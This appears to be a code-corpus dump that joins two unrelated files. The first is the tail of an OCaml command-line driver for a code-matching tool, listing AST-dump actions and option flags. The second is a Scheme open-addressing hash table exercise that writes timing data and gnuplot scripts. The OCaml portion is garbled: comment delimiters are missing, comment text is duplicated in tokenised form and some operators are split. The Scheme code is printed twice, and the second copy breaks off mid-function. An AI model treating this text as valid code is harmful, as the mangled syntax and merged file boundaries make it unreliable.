pr2 (spf "Function name: %s" name);
let s =
AST_generic.show_any
(G.S (AST_generic_helpers.funcbody_to_stmt fdef.G.fbody))
in
pr2 s;
pr2 "==>";
let _, xs = AST_to_IL.function_definition lang fdef in
let s = IL.show_any (IL.Ss xs) in
pr2 s
in
Visit_function_defs.visit report_func_def_with_name ast
let dump_v1_json file =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
match Lang.langs_of_filename file with
| lang :: _ ->
E.try_with_print_exn_and_reraise file (fun () ->
let { Parse_target.ast; skipped_tokens; _ } =
Parse_target.parse_and_resolve_name lang file
in
let v1 = AST_generic_to_v1.program ast in
let s = Ast_generic_v1_j.string_of_program v1 in
pr s;
if skipped_tokens <> [] then
pr2 (spf "WARNING: fail to fully parse %s" file))
| [] -> failwith (spf "unsupported language for %s" file)
let generate_ast_json file =
match Lang.langs_of_filename file with
| lang :: _ ->
let ast = Parse_target.parse_and_resolve_name_warn_if_partial lang file in
let v1 = AST_generic_to_v1.program ast in
let s = Ast_generic_v1_j.string_of_program v1 in
let file = file ^ ".ast.json" in
Common.write_file ~file s;
pr2 (spf "saved JSON output in %s" file)
| [] -> failwith (spf "unsupported language for %s" file)
let generate_ast_binary lang file =
let final =
Parse_with_caching.versioned_parse_result_of_file Version.version lang file
in
let file = file ^ Parse_with_caching.binary_suffix in
assert (Parse_with_caching.is_binary_ast_filename file);
Common2.write_value final file;
pr2 (spf "saved marshalled generic AST in %s" file)
let dump_ext_of_lang () =
let lang_to_exts =
Lang.keys
|> Common.map (fun lang_str ->
match Lang.of_string_opt lang_str with
| Some lang ->
lang_str ^ "->" ^ String.concat ", " (Lang.ext_of_lang lang)
| None -> "")
in
pr2
(spf "Language to supported file extension mappings:\n %s"
(String.concat "\n" lang_to_exts))
let dump_equivalences file =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
let xs = Parse_equivalences.parse file in
pr2_gen xs
let dump_rule file =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
let rules = Parse_rule.parse file in
rules |> List.iter (fun r -> pr (Rule.show r))
let prefilter_of_rules file =
let rules = Parse_rule.parse file in
let xs =
rules
|> Common.map (fun r ->
let pre_opt = Analyze_rule.regexp_prefilter_of_rule r in
let pre_atd_opt =
Option.map Analyze_rule.prefilter_formula_of_prefilter pre_opt
in
let id = r.Rule.id |> fst in
{ Semgrep_prefilter_t.rule_id = id; filter = pre_atd_opt })
in
let s = Semgrep_prefilter_j.string_of_prefilters xs in
pr s
let mk_config () =
{
log_config_file = !log_config_file;
log_to_file = !log_to_file;
test = !test;
debug = !debug;
profile = !profile;
report_time = !report_time;
error_recovery = !error_recovery;
profile_start = !profile_start;
matching_explanations = !matching_explanations;
pattern_string = !pattern_string;
pattern_file = !pattern_file;
rule_source = !rule_source;
lang_job = None;
filter_irrelevant_rules = !filter_irrelevant_rules;
equivalences_file = !equivalences_file;
lang = !lang;
output_format = !output_format;
match_format = !match_format;
mvars = !mvars;
lsp = !lsp;
timeout = !timeout;
timeout_threshold = !timeout_threshold;
max_memory_mb = !max_memory_mb;
max_match_per_file = !max_match_per_file;
ncores = !ncores;
parsing_cache_dir = !use_parsing_cache;
target_source = !target_source;
action = !action;
version = Version.version;
}
See Experiments.ml now
let all_actions () =
[
( "-show_ast_json",
" <file> dump on stdout the generic AST of file in JSON",
Arg_helpers.mk_action_1_arg dump_v1_json );
( "-generate_ast_json",
" <file> save in file.ast.json the generic AST of file in JSON",
Arg_helpers.mk_action_1_arg generate_ast_json );
( "-generate_ast_binary",
" <file> save in file.ast.binary the marshalled generic AST of file",
Arg_helpers.mk_action_1_arg (fun file ->
generate_ast_binary (Xlang.lang_of_opt_xlang_exn !lang) file) );
( "-prefilter_of_rules",
" <file> dump the prefilter regexps of rules in JSON ",
Arg_helpers.mk_action_1_arg prefilter_of_rules );
( "-parsing_stats",
" <files or dirs> generate parsing statistics (use -json for JSON output)",
Arg_helpers.mk_action_n_arg (fun xs ->
Test_parsing.parsing_stats
(Xlang.lang_of_opt_xlang_exn !lang)
~json:(!output_format <> Text) ~verbose:true xs) );
( "-dump_extensions",
" print file extension to language mapping",
Arg_helpers.mk_action_0_arg dump_ext_of_lang );
("-dump_pattern", " <file>", Arg_helpers.mk_action_1_arg dump_pattern);
( "-dump_ast",
" <file>",
fun file ->
Arg_helpers.mk_action_1_arg
(dump_ast ~naming:false (Xlang.lang_of_opt_xlang_exn !lang))
file );
( "-dump_named_ast",
" <file>",
fun file ->
Arg_helpers.mk_action_1_arg
(dump_ast ~naming:true (Xlang.lang_of_opt_xlang_exn !lang))
file );
("-dump_il_all", " <file>", Arg_helpers.mk_action_1_arg dump_il_all);
("-dump_il", " <file>", Arg_helpers.mk_action_1_arg dump_il);
("-dump_rule", " <file>", Arg_helpers.mk_action_1_arg dump_rule);
( "-dump_equivalences",
" <file> (deprecated)",
Arg_helpers.mk_action_1_arg dump_equivalences );
( "-dump_jsonnet_ast",
" <file>",
Arg_helpers.mk_action_1_arg Test_ojsonnet.dump_jsonnet_ast );
( "-dump_jsonnet_core",
" <file>",
Arg_helpers.mk_action_1_arg Test_ojsonnet.dump_jsonnet_core );
( "-dump_jsonnet_value",
" <file>",
Arg_helpers.mk_action_1_arg Test_ojsonnet.dump_jsonnet_value );
( "-dump_jsonnet_json",
" <file>",
Arg_helpers.mk_action_1_arg Test_ojsonnet.dump_jsonnet_json );
( "-dump_tree_sitter_cst",
" <file> dump the CST obtained from a tree-sitter parser",
Arg_helpers.mk_action_1_arg (fun file ->
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
Test_parsing.dump_tree_sitter_cst
(Xlang.lang_of_opt_xlang_exn !lang)
file) );
( "-dump_tree_sitter_pattern_cst",
" <file>",
Arg_helpers.mk_action_1_arg (fun file ->
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
Parse_pattern.dump_tree_sitter_pattern_cst
(Xlang.lang_of_opt_xlang_exn !lang)
file) );
( "-dump_pfff_ast",
" <file> dump the generic AST obtained from a pfff parser",
Arg_helpers.mk_action_1_arg (fun file ->
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
Test_parsing.dump_pfff_ast (Xlang.lang_of_opt_xlang_exn !lang) file)
);
( "-diff_pfff_tree_sitter",
" <file>",
Arg_helpers.mk_action_n_arg Test_parsing.diff_pfff_tree_sitter );
( "-expr_at_range",
" <l:c-l:c> <file>",
Arg_helpers.mk_action_2_arg Test_synthesizing.expr_at_range );
( "-synthesize_patterns",
" <l:c-l:c> <file>",
Arg_helpers.mk_action_2_arg Test_synthesizing.synthesize_patterns );
( "-generate_patterns",
" <l:c-l:c>+ <file>",
Arg_helpers.mk_action_n_arg Test_synthesizing.generate_pattern_choices );
( "-locate_patched_functions",
" <file>",
Arg_helpers.mk_action_1_arg Test_synthesizing.locate_patched_functions );
( "-stat_matches",
" <marshalled file>",
Arg_helpers.mk_action_1_arg Experiments.stat_matches );
( "-ebnf_to_menhir",
" <ebnf file>",
Arg_helpers.mk_action_1_arg Experiments.ebnf_to_menhir );
( "-parsing_regressions",
" <files or dirs> look for parsing regressions",
Arg_helpers.mk_action_n_arg (fun xs ->
Test_parsing.parsing_regressions
(Xlang.lang_of_opt_xlang_exn !lang)
xs) );
( "-test_parse_tree_sitter",
" <files or dirs> test tree-sitter parser on target files",
Arg_helpers.mk_action_n_arg (fun xs ->
Test_parsing.test_parse_tree_sitter
(Xlang.lang_of_opt_xlang_exn !lang)
xs) );
( "-check_rules",
" <metachecks file> <files or dirs>",
Arg_helpers.mk_action_n_arg
(Check_rule.check_files mk_config Parse_rule.parse) );
( "-translate_rules",
" <files or dirs>",
Arg_helpers.mk_action_n_arg
(Translate_rule.translate_files Parse_rule.parse) );
( "-stat_rules",
" <files or dirs>",
Arg_helpers.mk_action_n_arg (Check_rule.stat_files Parse_rule.parse) );
( "-test_rules",
" <files or dirs>",
Arg_helpers.mk_action_n_arg Test_engine.test_rules );
( "-parse_rules",
" <files or dirs>",
Arg_helpers.mk_action_n_arg Test_parsing.test_parse_rules );
( "-datalog_experiment",
" <file> <dir>",
Arg_helpers.mk_action_2_arg Datalog_experiment.gen_facts );
( "-postmortem",
" <log file",
Arg_helpers.mk_action_1_arg Statistics_report.stat );
( "-test_comby",
" <pattern> <file>",
Arg_helpers.mk_action_2_arg Test_comby.test_comby );
( "-test_eval",
" <JSON file>",
Arg_helpers.mk_action_1_arg Eval_generic.test_eval );
]
@ Test_analyze_generic.actions ~parse_program:Parse_target.parse_program
@ Test_dataflow_tainting.actions ()
@ Test_naming_generic.actions ~parse_program:Parse_target.parse_program
let options actions =
[
("-e", Arg.Set_string pattern_string, " <str> use the string as the pattern");
( "-f",
Arg.Set_string pattern_file,
" <file> use the file content as the pattern" );
( "-rules",
Arg.String (fun s -> rule_source := Some (Rule_file s)),
" <file> obtain formula of patterns from YAML/JSON/Jsonnet file" );
( "-lang",
Arg.String (fun s -> lang := Some (Xlang.of_string s)),
spf " <str> choose language (valid choices:\n %s)"
Xlang.supported_xlangs );
( "-l",
Arg.String (fun s -> lang := Some (Xlang.of_string s)),
spf " <str> shortcut for -lang" );
( "-targets",
Arg.String (fun s -> target_source := Some (Target_file s)),
" <file> obtain list of targets to run patterns on" );
( "-equivalences",
Arg.Set_string equivalences_file,
" <file> obtain list of code equivalences from YAML file" );
("-j", Arg.Set_int ncores, " <int> number of cores to use (default = 1)");
( "-use_parsing_cache",
Arg.Set_string use_parsing_cache,
" <dir> store and use the parsed generic ASTs in dir" );
( "-opt_cache",
Arg.Set Flag.with_opt_cache,
" enable caching optimization during matching" );
( "-no_opt_cache",
Arg.Clear Flag.with_opt_cache,
" disable caching optimization during matching" );
( "-opt_max_cache",
Arg.Unit
(fun () ->
Flag.with_opt_cache := true;
Flag.max_cache := true),
" cache matches more aggressively; implies -opt_cache (experimental)" );
( "-max_target_bytes",
Arg.Set_int Flag.max_target_bytes,
" maximum size of a single target file, in bytes. This applies to \
regular target filtering and might be overridden in some contexts. \
Specify '0' to disable this filtering. Default: 5 MB" );
( "-no_gc_tuning",
Arg.Clear Flag.gc_tuning,
" use OCaml's default garbage collector settings" );
( "-emacs",
Arg.Unit (fun () -> match_format := Matching_report.Emacs),
" print matches on the same line than the match position" );
( "-oneline",
Arg.Unit (fun () -> match_format := Matching_report.OneLine),
" print matches on one line, in normalized form" );
( "-json",
Arg.Unit (fun () -> output_format := Json true),
" output JSON format" );
( "-json_nodots",
Arg.Unit (fun () -> output_format := Json false),
" output JSON format but without intermediate dots" );
( "-json_time",
Arg.Unit
(fun () ->
output_format := Json true;
report_time := true),
" report detailed matching times as part of the JSON response. Implies \
'-json'." );
( "-pvar",
Arg.String (fun s -> mvars := Common.split "," s),
" <metavars> print the metavariables, not the matched code" );
( "-error_recovery",
Arg.Unit
(fun () ->
error_recovery := true;
Flag_parsing.error_recovery := true),
" do not stop at first parsing error with -e/-f" );
( "-fail_fast",
Arg.Set Flag.fail_fast,
" stop at first exception (and get a backtrace)" );
( "-filter_irrelevant_patterns",
Arg.Set Flag.filter_irrelevant_patterns,
" filter patterns not containing any strings in target file" );
( "-no_filter_irrelevant_patterns",
Arg.Clear Flag.filter_irrelevant_patterns,
" do not filter patterns" );
( "-filter_irrelevant_rules",
Arg.Set filter_irrelevant_rules,
" filter rules not containing any strings in target file" );
( "-no_filter_irrelevant_rules",
Arg.Clear filter_irrelevant_rules,
" do not filter rules" );
( "-fast",
Arg.Set filter_irrelevant_rules,
" filter rules not containing any strings in target file" );
( "-bloom_filter",
Arg.Set Flag.use_bloom_filter,
" use a bloom filter to only attempt matches when strings in the pattern \
are in the target" );
( "-no_bloom_filter",
Arg.Clear Flag.use_bloom_filter,
" do not use bloom filter" );
( "-tree_sitter_only",
Arg.Set Flag.tree_sitter_only,
" only use tree-sitter-based parsers" );
( "-timeout",
Arg.Set_float timeout,
" <float> maxinum time to spend running a rule on a single file (in \
seconds); 0 disables timeouts (default is 0)" );
( "-timeout_threshold",
Arg.Set_int timeout_threshold,
" <int> maximum number of rules that can timeout on a file before the \
file is skipped; 0 disables it (default is 0)" );
( "-max_memory",
Arg.Set_int max_memory_mb,
"<int> maximum memory available (in MiB); allows for clean termination \
when running out of memory. This value should be less than the actual \
memory available because the limit will be exceeded before it gets \
detected. Try 5% less or 15000 if you have 16 GB." );
( "-max_match_per_file",
Arg.Set_int max_match_per_file,
" <int> maximum numbers of match per file" );
("-debug", Arg.Set debug, " output debugging information");
("--debug", Arg.Set debug, " output debugging information");
( "-debug_matching",
Arg.Set Flag.debug_matching,
" raise an exception at the first match failure" );
( "-matching_explanations",
Arg.Set matching_explanations,
" output intermediate matching explanations" );
( "-log_config_file",
Arg.Set_string log_config_file,
" <file> logging configuration file" );
( "-log_to_file",
Arg.String (fun file -> log_to_file := Some file),
" <file> log debugging info to file" );
("-test", Arg.Set test, " (internal) set test context");
("-lsp", Arg.Set lsp, " connect to LSP lang server to get type information");
]
@ Flag_parsing_cpp.cmdline_flags_macrofile ()
@ [
( "-debugger",
Arg.Set Common.debugger,
" option to set if launched inside ocamldebug" );
( "-profile",
Arg.Unit
(fun () ->
Profiling.profile := Profiling.ProfAll;
profile := true),
" output profiling information" );
( "-keep_tmp_files",
Arg.Set Common.save_tmp_files,
" keep temporary generated files" );
]
@ Meta_parse_info.cmdline_flags_precision ()
@ Arg_helpers.options_of_actions action (actions ())
@ [
( "-version",
Arg.Unit
(fun () ->
pr2 version;
Runner_exit.(exit_semgrep Success)),
" guess what" );
]
let main (sys_argv : string array) : unit =
profile_start := Unix.gettimeofday ();
SIGXFSZ ( file size limit exceeded )
* ----------------------------------
* By default this signal will kill the process , which is not good . If we
* would raise an exception from within the handler , the exception could
* appear anywhere , which is not good either if you want to recover from it
* gracefully . So , we ignore it , and that causes the syscalls to fail and
* we get a ` Sys_error ` or some other exception . Apparently this is standard
* behavior under both Linux and MacOS :
*
* > The signal is sent to the process . If the process is holding or
* > ignoring , continued attempts to increase the size of a file
* > beyond the limit will fail with errno set to EFBIG .
* ----------------------------------
* By default this signal will kill the process, which is not good. If we
* would raise an exception from within the handler, the exception could
* appear anywhere, which is not good either if you want to recover from it
* gracefully. So, we ignore it, and that causes the syscalls to fail and
* we get a `Sys_error` or some other exception. Apparently this is standard
* behavior under both Linux and MacOS:
*
* > The SIGXFSZ signal is sent to the process. If the process is holding or
* > ignoring SIGXFSZ, continued attempts to increase the size of a file
* > beyond the limit will fail with errno set to EFBIG.
*)
Sys.set_signal Sys.sigxfsz Sys.Signal_ignore;
let usage_msg =
spf
"Usage: %s [options] -lang <str> [-e|-f|-rules] <pattern> \
(<files_or_dirs> | -targets <file>) \n\
Options:"
(Filename.basename sys_argv.(0))
in
let argv =
Array.to_list sys_argv
@ (if Sys.getenv_opt env_debug <> None then [ "-debug" ] else [])
@ (if Sys.getenv_opt env_profile <> None then [ "-profile" ] else [])
@
match Sys.getenv_opt env_extra with
| Some s -> Common.split "[ \t]+" s
| None -> []
in
let args =
Arg_helpers.parse_options (options all_actions) usage_msg
(Array.of_list argv)
in
let config = mk_config () in
if config.debug then Report.mode := MDebug
else if config.report_time then Report.mode := MTime
else Report.mode := MNo_info;
Logging_helpers.setup ~debug:config.debug
~log_config_file:config.log_config_file ~log_to_file:config.log_to_file;
logger#info "Executed as: %s" (argv |> String.concat " ");
logger#info "Version: %s" version;
let config =
if config.profile then (
logger#info "Profile mode On";
logger#info "disabling -j when in profiling mode";
{ config with ncores = 1 })
else config
in
if config.lsp then LSP_client.init ();
must be done after Arg.parse , because Common.profile is set by it
Profiling.profile_code "Main total" (fun () ->
match args with
| xs
when List.mem config.action (Arg_helpers.action_list (all_actions ()))
->
Arg_helpers.do_action config.action xs (all_actions ())
| _ when not (Common.null_string config.action) ->
failwith ("unrecognized action or wrong params: " ^ !action)
| roots ->
if ! Flag.gc_tuning & & config.max_memory_mb = 0 then set_gc ( ) ;
let config = { config with roots } in
Run_semgrep.semgrep_dispatch config)
Register global exception printers defined by the various libraries
and modules .
The main advantage of doing this here is the ability to override
undesirable printers defined by some libraries . The order of registration
is the order in which modules are initialized , which is n't something
that in general we know or want to rely on .
For example , JaneStreet Core prints ( or used to print ) some stdlib
exceptions as S - expressions without giving us a choice . Overriding those
can be tricky .
Register global exception printers defined by the various libraries
and modules.
The main advantage of doing this here is the ability to override
undesirable printers defined by some libraries. The order of registration
is the order in which modules are initialized, which isn't something
that in general we know or want to rely on.
For example, JaneStreet Core prints (or used to print) some stdlib
exceptions as S-expressions without giving us a choice. Overriding those
can be tricky.
*)
let register_exception_printers () =
Parse_info.register_exception_printer ();
SPcre.register_exception_printer ();
Rule.register_exception_printer ()
let main (argv : string array) : unit =
Common.main_boilerplate (fun () ->
register_exception_printers ();
Common.finalize
(fun () -> main argv)
(fun () -> !Hooks.exit |> List.iter (fun f -> f ())))
|
5a50945bc2fe73707d3848cb8ece318354b12065f1184cc32f4f54c2e19a0da9 | DeathKing/Hit-DataStructure-On-Scheme | open-address.scm | (load-option 'format)
(define *default-hash-size* 997)
(define *default-hash-fill* '())
(define *default-hash-delete* 'delete)
(define (make-hash #!optional size fill)
(let ((s (if (eq? #!default size) *default-hash-size* size))
(f (if (eq? #!default fill) *default-hash-fill* fill)))
(make-vector s f)))
(define (hash-search hash proc-key proc-address item)
(let ((key (proc-key item))
(length (vector-length hash)))
(let loop ((t 0))
(let* ((k (modulo (+ key (proc-address t)) length))
(x (vector-ref hash k)))
(if (or (>= t length) (null? x)) '()
(if (or (eq? *default-hash-delete* x) (not (= x item)))
(loop (+ t 1))
x))))))
(define (hash-delete! hash proc-key proc-address item)
(let ((key (proc-key item))
(length (vector-length hash)))
(let loop ((t 0))
(let* ((k (modulo (+ key (proc-address t)) length))
(x (vector-ref hash k)))
(if (or (>= t length) (null? x)) '()
(if (or (eq? *default-hash-delete* x) (not (= x item)))
(loop (+ t 1))
(vector-set! hash k *default-hash-delete*)))))))
(define (hash-insert! hash proc-key proc-address item)
(let ((key (proc-key item))
(length (vector-length hash)))
(let loop ((t 0))
(let* ((k (modulo (+ key (proc-address t)) length))
(x (vector-ref hash k)))
(if (or (>= t length)) (error "hash is full!")
(if (or (eq? *default-hash-delete* x) (null? x))
(vector-set! hash k item)
(loop (+ t 1))))))))
(define (hash-insert!/lots hash proc-key proc-address item-vector)
(vector-map
(lambda (x)
(hash-insert! hash proc-key proc-address x)) item-vector))
(define (hash-search/lots hash proc-key proc-address item-vector)
(vector-map
(lambda (x)
(hash-search hash proc-key proc-address x)) item-vector))
(define (hash-load-factor hash)
(exact->inexact
(/ (length (remove null? (vector->list hash)))
(vector-length hash))))
(define (self x) x)
(define (square x) (* x x))
(define (cube x) (* x x x))
(define (hash-search/linear hash proc item)
(hash-search hash proc self item))
(define (hash-delete!/linear hash proc item)
(hash-delete! hash proc self item))
(define (hash-insert!/linear hash proc item)
(hash-insert! hash proc self item))
(define (hash-search/quadratic hash proc item)
(hash-search hash proc square item))
(define (hash-delete!/quadratic hash proc item)
(hash-delete! hash proc square item))
(define (hash-insert!/quadratic hash proc item)
(hash-insert! hash proc square item))
(define (mod10 x) (modulo x 10))
(define (mod11 x) (modulo x 11))
(define (sq-last3 x) (modulo (* x x) 1000))
(define (cb-last3 x) (modulo (* x x x) 100))
(define (repeat times trunk)
(if (zero? times) '()
(begin
(trunk)
(repeat (- times 1) trunk))))
(define v0 (make-initialized-vector 797 (lambda (x) (random 100))))
(define v1 (make-initialized-vector 697 (lambda (x) (random 100))))
(define v2 (make-initialized-vector 597 (lambda (x) (random 100))))
(define v3 (make-initialized-vector 497 (lambda (x) (random 100))))
(define v4 (make-initialized-vector 397 (lambda (x) (random 100))))
(define t4 (make-initialized-vector 800 (lambda (x) (random 100))))
(define t3 (make-initialized-vector 700 (lambda (x) (random 100))))
(define t2 (make-initialized-vector 600 (lambda (x) (random 100))))
(define t1 (make-initialized-vector 500 (lambda (x) (random 100))))
(define t0 (make-initialized-vector 400 (lambda (x) (random 100))))
; Test sq-last3 in every load factor
(define (test-load-factor file)
(define th0 (make-hash))
(define th1 (make-hash))
(define th2 (make-hash))
(define th3 (make-hash))
(define th4 (make-hash))
(hash-insert!/lots th0 sq-last3 self v0)
(hash-insert!/lots th1 sq-last3 self v1)
(hash-insert!/lots th2 sq-last3 self v2)
(hash-insert!/lots th3 sq-last3 self v3)
(hash-insert!/lots th4 sq-last3 self v4)
(define l0 (hash-load-factor th0))
(define l1 (hash-load-factor th1))
(define l2 (hash-load-factor th2))
(define l3 (hash-load-factor th3))
(define l4 (hash-load-factor th4))
(define vs (vector v0 v1 v2 v3 v4))
(define ts (vector t0 t1 t2 t3 t4))
(define ls (vector l0 l1 l2 l3 l4))
(define ss (vector 400 500 600 700 800))
(for-each
(lambda (i)
(let* ((port (open-output-file (format #f "loadfactor~A.data" i)))
(vec (vector-ref vs i)))
(for-each
(lambda (x)
(let ((scale (vector-ref ss x))
(tv (vector-ref ts x)))
(with-timings
(lambda () (hash-search/lots vec sq-last3 self tv))
(lambda (run-time gc-time real-time)
(format port "~A ~A~%" scale (exact->inexact (/ real-time scale)))))))
(iota 5))
(close-output-port port)))
(iota 5))
(let ((port (open-output-file file)))
(format port "set title \"How LoadFactor affect hash effience\\n(Hash: sq-last3, Addr: self)\"~%")
(format port "set grid~%")
(format port "set key left top Left reverse width 0 box 3~%")
(format port "set xlabel \"Sample Size\"~%")
(format port "set ylabel \"Search Time per Element(ticks)\"~%")
( format port " set " )
(format port "set autoscale y~%")
(format port "plot \"loadfactor0.data\" title \"~A\" with linespoints," l0)
(format port "\"loadfactor1.data\" title \"~A\" with linespoints," l1)
(format port "\"loadfactor2.data\" title \"~A\" with linespoints," l2)
(format port "\"loadfactor3.data\" title \"~A\" with linespoints," l3)
(format port "\"loadfactor4.data\" title \"~A\" with linespoints~%" l4)
(format port "set terminal png size 640,480~%")
(format port "set output \"loadfactor.png\"~%")
(format port "replot~%")
(close-output-port port)))
(define (test-key-function file)
(define th0 (make-hash))
(define th1 (make-hash))
(define th2 (make-hash))
(hash-insert!/lots th0 mod11 self v0)
(hash-insert!/lots th1 sq-last3 self v0)
(hash-insert!/lots th2 cb-last3 self v0)
(define ts (vector t0 t1 t2 t3 t4))
(define ss (vector 400 500 600 700 800))
(define vs (vector th0 th1 th2))
(define fs (vector mod11 sq-last3 cb-last3))
(for-each
(lambda (i)
(let* ((port (open-output-file (format #f "key~A.data" i)))
(vec (vector-ref vs i))
(func (vector-ref fs i)))
(for-each
(lambda (x)
(let ((scale (vector-ref ss x))
(tv (vector-ref ts x)))
(with-timings
(lambda () (hash-search/lots vec func self tv))
(lambda (run-time gc-time real-time)
(format port "~A ~A~%" scale (exact->inexact (/ real-time scale)))))))
(iota 5))
(close-output-port port)))
(iota 3))
(let ((port (open-output-file file)))
(format port "set title \"How key function affect hash effience\\n(LoadFactor: ~A, Addr: self)\"~%" (hash-load-factor th0))
(format port "set grid~%")
(format port "set key left top Left reverse width 0 box 3~%")
(format port "set xlabel \"Sample Size\"~%")
(format port "set ylabel \"Search Time per Element(ticks)\"~%")
( format port " set " )
(format port "set autoscale y~%")
(format port "plot \"key0.data\" title \"~A\" with linespoints," "mod11")
(format port "\"key1.data\" title \"~A\" with linespoints," "sq-last3")
(format port "\"key2.data\" title \"~A\" with linespoints~%" "cb-last3")
(format port "set terminal png size 640,480~%")
(format port "set output \"key.png\"~%")
(format port "replot~%")
(close-output-port port)))
(define (test-addr-function file)
(define th0 (make-hash))
(define th1 (make-hash))
(define th2 (make-hash))
(hash-insert!/lots th0 sq-last3 self v0)
(hash-insert!/lots th1 sq-last3 square v0)
(hash-insert!/lots th2 sq-last3 cube v0)
(define ts (vector t0 t1 t2 t3 t4))
(define ss (vector 400 500 600 700 800))
(define vs (vector th0 th1 th2))
(define fs (vector self square cube))
(for-each
(lambda (i)
(let* ((port (open-output-file (format #f "addr~A.data" i)))
(vec (vector-ref vs i))
(func (vector-ref fs i)))
(for-each
(lambda (x)
(let ((scale (vector-ref ss x))
(tv (vector-ref ts x)))
(with-timings
(lambda ()
(repeat 50 (lambda () (hash-search/lots vec sq-last3 func tv))))
(lambda (run-time gc-time real-time)
(format port "~A ~A~%" scale (exact->inexact (/ real-time scale)))))))
(iota 5))
(close-output-port port)))
(iota 3))
(let ((port (open-output-file file)))
(format port "set title \"How addr function affect hash effience\\n(LoadFactor: ~A, Key: sq-last3)\"~%" (hash-load-factor th0))
(format port "set grid~%")
(format port "set key left top Left reverse width 0 box 3~%")
(format port "set xlabel \"Sample Size\"~%")
(format port "set ylabel \"Search Time per Element(ticks)\"~%")
( format port " set " )
(format port "set autoscale y~%")
(format port "plot \"addr0.data\" title \"~A\" with linespoints," "self")
(format port "\"addr1.data\" title \"~A\" with linespoints," "square")
(format port "\"addr2.data\" title \"~A\" with linespoints~%" "cube")
(format port "set terminal png size 640,480~%")
(format port "set output \"addr.png\"~%")
(format port "replot~%")
(close-output-port port)))
(test-addr-function "addr.plt") | null | https://raw.githubusercontent.com/DeathKing/Hit-DataStructure-On-Scheme/11677e3c6053d6c5b37cf0509885f74ab5c2bab9/application4/open-address.scm | scheme | Test sq-last3 in every load factor | (load-option 'format)
(define *default-hash-size* 997)
(define *default-hash-fill* '())
(define *default-hash-delete* 'delete)
(define (make-hash #!optional size fill)
(let ((s (if (eq? #!default size) *default-hash-size* size))
(f (if (eq? #!default fill) *default-hash-fill* fill)))
(make-vector s f)))
(define (hash-search hash proc-key proc-address item)
(let ((key (proc-key item))
(length (vector-length hash)))
(let loop ((t 0))
(let* ((k (modulo (+ key (proc-address t)) length))
(x (vector-ref hash k)))
(if (or (>= t length) (null? x)) '()
(if (or (eq? *default-hash-delete* x) (not (= x item)))
(loop (+ t 1))
x))))))
(define (hash-delete! hash proc-key proc-address item)
(let ((key (proc-key item))
(length (vector-length hash)))
(let loop ((t 0))
(let* ((k (modulo (+ key (proc-address t)) length))
(x (vector-ref hash k)))
(if (or (>= t length) (null? x)) '()
(if (or (eq? *default-hash-delete* x) (not (= x item)))
(loop (+ t 1))
(vector-set! hash k *default-hash-delete*)))))))
(define (hash-insert! hash proc-key proc-address item)
(let ((key (proc-key item))
(length (vector-length hash)))
(let loop ((t 0))
(let* ((k (modulo (+ key (proc-address t)) length))
(x (vector-ref hash k)))
(if (or (>= t length)) (error "hash is full!")
(if (or (eq? *default-hash-delete* x) (null? x))
(vector-set! hash k item)
(loop (+ t 1))))))))
(define (hash-insert!/lots hash proc-key proc-address item-vector)
(vector-map
(lambda (x)
(hash-insert! hash proc-key proc-address x)) item-vector))
(define (hash-search/lots hash proc-key proc-address item-vector)
(vector-map
(lambda (x)
(hash-search hash proc-key proc-address x)) item-vector))
(define (hash-load-factor hash)
(exact->inexact
(/ (length (remove null? (vector->list hash)))
(vector-length hash))))
(define (self x) x)
(define (square x) (* x x))
(define (cube x) (* x x x))
(define (hash-search/linear hash proc item)
(hash-search hash proc self item))
(define (hash-delete!/linear hash proc item)
(hash-delete! hash proc self item))
(define (hash-insert!/linear hash proc item)
(hash-insert! hash proc self item))
(define (hash-search/quadratic hash proc item)
(hash-search hash proc square item))
(define (hash-delete!/quadratic hash proc item)
(hash-delete! hash proc square item))
(define (hash-insert!/quadratic hash proc item)
(hash-insert! hash proc square item))
(define (mod10 x) (modulo x 10))
(define (mod11 x) (modulo x 11))
(define (sq-last3 x) (modulo (* x x) 1000))
(define (cb-last3 x) (modulo (* x x x) 100))
(define (repeat times trunk)
(if (zero? times) '()
(begin
(trunk)
(repeat (- times 1) trunk))))
(define v0 (make-initialized-vector 797 (lambda (x) (random 100))))
(define v1 (make-initialized-vector 697 (lambda (x) (random 100))))
(define v2 (make-initialized-vector 597 (lambda (x) (random 100))))
(define v3 (make-initialized-vector 497 (lambda (x) (random 100))))
(define v4 (make-initialized-vector 397 (lambda (x) (random 100))))
(define t4 (make-initialized-vector 800 (lambda (x) (random 100))))
(define t3 (make-initialized-vector 700 (lambda (x) (random 100))))
(define t2 (make-initialized-vector 600 (lambda (x) (random 100))))
(define t1 (make-initialized-vector 500 (lambda (x) (random 100))))
(define t0 (make-initialized-vector 400 (lambda (x) (random 100))))
(define (test-load-factor file)
(define th0 (make-hash))
(define th1 (make-hash))
(define th2 (make-hash))
(define th3 (make-hash))
(define th4 (make-hash))
(hash-insert!/lots th0 sq-last3 self v0)
(hash-insert!/lots th1 sq-last3 self v1)
(hash-insert!/lots th2 sq-last3 self v2)
(hash-insert!/lots th3 sq-last3 self v3)
(hash-insert!/lots th4 sq-last3 self v4)
(define l0 (hash-load-factor th0))
(define l1 (hash-load-factor th1))
(define l2 (hash-load-factor th2))
(define l3 (hash-load-factor th3))
(define l4 (hash-load-factor th4))
(define vs (vector v0 v1 v2 v3 v4))
(define ts (vector t0 t1 t2 t3 t4))
(define ls (vector l0 l1 l2 l3 l4))
(define ss (vector 400 500 600 700 800))
(for-each
(lambda (i)
(let* ((port (open-output-file (format #f "loadfactor~A.data" i)))
(vec (vector-ref vs i)))
(for-each
(lambda (x)
(let ((scale (vector-ref ss x))
(tv (vector-ref ts x)))
(with-timings
(lambda () (hash-search/lots vec sq-last3 self tv))
(lambda (run-time gc-time real-time)
(format port "~A ~A~%" scale (exact->inexact (/ real-time scale)))))))
(iota 5))
(close-output-port port)))
(iota 5))
(let ((port (open-output-file file)))
(format port "set title \"How LoadFactor affect hash effience\\n(Hash: sq-last3, Addr: self)\"~%")
(format port "set grid~%")
(format port "set key left top Left reverse width 0 box 3~%")
(format port "set xlabel \"Sample Size\"~%")
(format port "set ylabel \"Search Time per Element(ticks)\"~%")
( format port " set " )
(format port "set autoscale y~%")
(format port "plot \"loadfactor0.data\" title \"~A\" with linespoints," l0)
(format port "\"loadfactor1.data\" title \"~A\" with linespoints," l1)
